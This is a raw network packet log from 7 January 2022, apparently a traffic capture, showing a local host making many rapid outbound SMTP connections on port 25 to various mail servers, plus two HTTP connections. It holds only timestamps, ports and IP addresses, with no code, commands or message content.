Jan 7, 2022 15:56:47.184042931 CET	25	49820	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.184153080 CET	49820	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.184154987 CET	49821	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.184197903 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.184741020 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.184823990 CET	49822	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.187148094 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.207513094 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.207642078 CET	49819	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.221760988 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.224610090 CET	49824	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.285660982 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.285690069 CET	25	49823	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.286525965 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.286644936 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.286720037 CET	25	49823	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.286742926 CET	49818	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.286766052 CET	49818	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.286813974 CET	49823	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.286842108 CET	49823	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.286920071 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.286968946 CET	49818	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.287015915 CET	25	49820	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.287034035 CET	25	49821	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.287049055 CET	25	49823	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.287097931 CET	49823	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.287590981 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.287682056 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.287775993 CET	49817	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.287823915 CET	49817	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.287920952 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.287966013 CET	49817	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.288039923 CET	25	49821	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.288077116 CET	25	49820	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.288147926 CET	49820	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.288150072 CET	49821	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.288168907 CET	49821	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.288300037 CET	49820	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.288321972 CET	25	49821	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.288361073 CET	49821	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.288404942 CET	25	49820	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.288455009 CET	49820	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.288872957 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.288985014 CET	49822	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.289007902 CET	49822	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.289021969 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.289064884 CET	49822	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.310060024 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.311125994 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.311254025 CET	49819	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.311259031 CET	49819	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.311455965 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.311605930 CET	49819	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.328823090 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.329850912 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.330040932 CET	49824	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.330056906 CET	49824	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.330116987 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.330163956 CET	49824	25	192.168.2.4	104.47.51.33
Jan 7, 2022 15:56:47.353418112 CET	49825	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:47.353741884 CET	49826	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:47.359092951 CET	49827	25	192.168.2.4	98.136.96.93
Jan 7, 2022 15:56:47.389204979 CET	25	49823	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.389235020 CET	25	49823	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.389252901 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.389266968 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.389281988 CET	25	49818	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.390631914 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.390660048 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.390675068 CET	25	49817	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.390836954 CET	25	49820	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.390892982 CET	25	49821	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.390909910 CET	25	49821	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.390983105 CET	25	49820	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.391025066 CET	25	49821	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.391921043 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.391947031 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.391963959 CET	25	49822	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.413656950 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.413691998 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.413707018 CET	25	49819	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.424866915 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:47.432841063 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.432878017 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.432920933 CET	25	49824	104.47.51.33	192.168.2.4
Jan 7, 2022 15:56:47.482124090 CET	49830	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.485821009 CET	25	49827	98.136.96.93	192.168.2.4
Jan 7, 2022 15:56:47.486382008 CET	49827	25	192.168.2.4	98.136.96.93
Jan 7, 2022 15:56:47.519201994 CET	25	49825	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:47.519296885 CET	49825	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:47.519443035 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:47.519509077 CET	49826	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:47.534585953 CET	25	49830	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.534692049 CET	49830	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.586232901 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:47.590487957 CET	25	49830	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.590578079 CET	49830	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.616158962 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:47.616261959 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:47.642270088 CET	25	49827	98.136.96.93	192.168.2.4
Jan 7, 2022 15:56:47.642417908 CET	49827	25	192.168.2.4	98.136.96.93
Jan 7, 2022 15:56:47.644414902 CET	49832	25	192.168.2.4	94.152.34.135
Jan 7, 2022 15:56:47.646810055 CET	25	49830	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.650840044 CET	25	49830	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.650958061 CET	49830	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.676528931 CET	49814	25	192.168.2.4	193.239.71.113
Jan 7, 2022 15:56:47.684048891 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:47.684231043 CET	49832	25	192.168.2.4	94.152.34.135
Jan 7, 2022 15:56:47.686011076 CET	25	49825	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:47.686120987 CET	49825	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:47.686223984 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:47.687386036 CET	49826	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:47.703727007 CET	25	49830	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.703840971 CET	49830	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.730288982 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:47.730447054 CET	49832	25	192.168.2.4	94.152.34.135
Jan 7, 2022 15:56:47.761192083 CET	25	49830	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.764983892 CET	25	49830	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.765081882 CET	49830	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.765115976 CET	49830	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.765377045 CET	49833	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.769007921 CET	25	49827	98.136.96.93	192.168.2.4
Jan 7, 2022 15:56:47.769042969 CET	25	49827	98.136.96.93	192.168.2.4
Jan 7, 2022 15:56:47.769393921 CET	49827	25	192.168.2.4	98.136.96.93
Jan 7, 2022 15:56:47.770004034 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:47.770086050 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:47.770191908 CET	49832	25	192.168.2.4	94.152.34.135
Jan 7, 2022 15:56:47.776226997 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:47.776316881 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:47.810915947 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:47.811109066 CET	49832	25	192.168.2.4	94.152.34.135
Jan 7, 2022 15:56:47.817395926 CET	25	49833	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.817837000 CET	25	49830	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.817966938 CET	49830	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.817974091 CET	49833	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.830585003 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:47.830725908 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:47.851880074 CET	25	49825	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:47.852206945 CET	25	49825	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:47.852313995 CET	49825	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:47.853214025 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:47.853725910 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:47.853974104 CET	49826	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:47.871423006 CET	25	49833	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.871639967 CET	49833	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.890280962 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:47.896430969 CET	25	49827	98.136.96.93	192.168.2.4
Jan 7, 2022 15:56:47.896460056 CET	25	49827	98.136.96.93	192.168.2.4
Jan 7, 2022 15:56:47.896632910 CET	49827	25	192.168.2.4	98.136.96.93
Jan 7, 2022 15:56:47.896653891 CET	49827	25	192.168.2.4	98.136.96.93
Jan 7, 2022 15:56:47.896795988 CET	49827	25	192.168.2.4	98.136.96.93
Jan 7, 2022 15:56:47.923729897 CET	25	49833	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.927335024 CET	25	49833	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.927809954 CET	49833	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.973398924 CET	49815	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:47.980631113 CET	25	49833	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:47.981200933 CET	49833	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:47.985611916 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:47.985975981 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:48.018155098 CET	25	49825	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.019411087 CET	25	49825	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.019438028 CET	25	49825	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.019534111 CET	49825	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:48.019599915 CET	49825	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:48.019656897 CET	49825	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:48.020186901 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.021054029 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.021241903 CET	49826	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:48.021264076 CET	49826	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:48.021326065 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.021471024 CET	49826	25	192.168.2.4	104.47.73.161
Jan 7, 2022 15:56:48.022226095 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.023406029 CET	25	49827	98.136.96.93	192.168.2.4
Jan 7, 2022 15:56:48.023423910 CET	25	49827	98.136.96.93	192.168.2.4
Jan 7, 2022 15:56:48.025729895 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.026225090 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:48.038316011 CET	25	49833	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:48.044866085 CET	25	49833	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:48.045147896 CET	49833	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:48.045176983 CET	49833	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:48.045428991 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:48.098104000 CET	25	49833	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:48.098134041 CET	25	49833	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:48.098191023 CET	49833	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:48.098218918 CET	49833	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:48.111299992 CET	49816	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:56:48.130794048 CET	49835	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.131253958 CET	49836	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.152084112 CET	49837	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:48.175772905 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:48.186309099 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:48.186341047 CET	25	49825	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.186355114 CET	25	49825	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.186481953 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:48.186907053 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.186995983 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.187011003 CET	25	49826	104.47.73.161	192.168.2.4
Jan 7, 2022 15:56:48.224066973 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.227231026 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:48.235723972 CET	25	49835	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.235747099 CET	25	49836	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.235907078 CET	49835	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.237029076 CET	49836	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.380486965 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:48.380642891 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:48.381218910 CET	25	49836	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.382117033 CET	49836	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.384416103 CET	25	49835	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.384565115 CET	49835	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.392780066 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:48.392899990 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:48.432020903 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.433258057 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:48.485213041 CET	25	49836	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.487098932 CET	49836	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.487440109 CET	25	49835	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.487554073 CET	49835	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.546174049 CET	49839	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:56:48.576050997 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:48.576474905 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:48.590779066 CET	25	49836	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.590975046 CET	49836	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.590996981 CET	25	49835	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.591090918 CET	49835	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.635277987 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.635494947 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:48.636010885 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:48.694506884 CET	25	49836	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.694538116 CET	25	49835	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.694626093 CET	49836	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.694662094 CET	49836	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.694768906 CET	49835	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.694792986 CET	49835	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.700436115 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:48.700577021 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:48.708863974 CET	49841	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:56:48.783137083 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:48.786473036 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:48.787075996 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:48.797220945 CET	25	49836	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.797245026 CET	25	49836	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.797281981 CET	25	49835	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.797369003 CET	49836	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.797380924 CET	49835	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.797491074 CET	25	49836	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.797523022 CET	25	49835	104.47.51.110	192.168.2.4
Jan 7, 2022 15:56:48.797570944 CET	49836	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.800746918 CET	49835	25	192.168.2.4	104.47.51.110
Jan 7, 2022 15:56:48.827235937 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.827265978 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.827274084 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.827285051 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.827328920 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:48.827450991 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:48.827506065 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:48.853691101 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:48.853923082 CET	49832	25	192.168.2.4	94.152.34.135
Jan 7, 2022 15:56:48.853955984 CET	49832	25	192.168.2.4	94.152.34.135
Jan 7, 2022 15:56:48.857495070 CET	49842	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:48.893491030 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:48.893518925 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:48.893645048 CET	49832	25	192.168.2.4	94.152.34.135
Jan 7, 2022 15:56:48.893802881 CET	25	49832	94.152.34.135	192.168.2.4
Jan 7, 2022 15:56:48.893858910 CET	49832	25	192.168.2.4	94.152.34.135
Jan 7, 2022 15:56:48.894781113 CET	25	49834	74.125.200.26	192.168.2.4
Jan 7, 2022 15:56:48.894896030 CET	49834	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:56:48.897017956 CET	49843	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:56:48.910218954 CET	25	49842	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:48.910355091 CET	49842	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:48.964093924 CET	25	49842	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:48.964523077 CET	49842	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:48.976983070 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:48.977021933 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:48.977047920 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:48.977164030 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:48.977231026 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.017163992 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.017222881 CET	25	49842	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:49.017265081 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.018711090 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.018752098 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.018785954 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.018814087 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.018837929 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.018867016 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.018897057 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.018913984 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.018944979 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.018969059 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.018991947 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.019018888 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.019088984 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.019603968 CET	25	49842	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:49.019717932 CET	49842	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:49.073318958 CET	25	49842	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:49.073452950 CET	49842	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:49.131340027 CET	25	49842	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:49.134160042 CET	25	49842	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:49.134305954 CET	49842	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:49.134605885 CET	49844	25	192.168.2.4	142.250.157.26
Jan 7, 2022 15:56:49.134607077 CET	49842	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:49.167356014 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.167392969 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.167736053 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.167794943 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.167809963 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.167826891 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.167924881 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.187186956 CET	25	49842	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:49.187218904 CET	25	49842	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:49.187295914 CET	49842	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:49.187351942 CET	49842	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:49.207530975 CET	25	49831	148.163.149.218	192.168.2.4
Jan 7, 2022 15:56:49.208230972 CET	49831	25	192.168.2.4	148.163.149.218
Jan 7, 2022 15:56:49.210174084 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210190058 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210305929 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210494041 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.210527897 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210542917 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210679054 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.210709095 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210757017 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210767984 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210784912 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.210832119 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210839033 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.210899115 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210920095 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.210958004 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.210971117 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.211002111 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.211025953 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.211118937 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.211167097 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.211210012 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.211236000 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.211313009 CET	25	49829	34.215.215.23	192.168.2.4
Jan 7, 2022 15:56:49.211352110 CET	49829	25	192.168.2.4	34.215.215.23
Jan 7, 2022 15:56:49.211384058 CET	49829	25	192.168.2.4	34.215.215.23
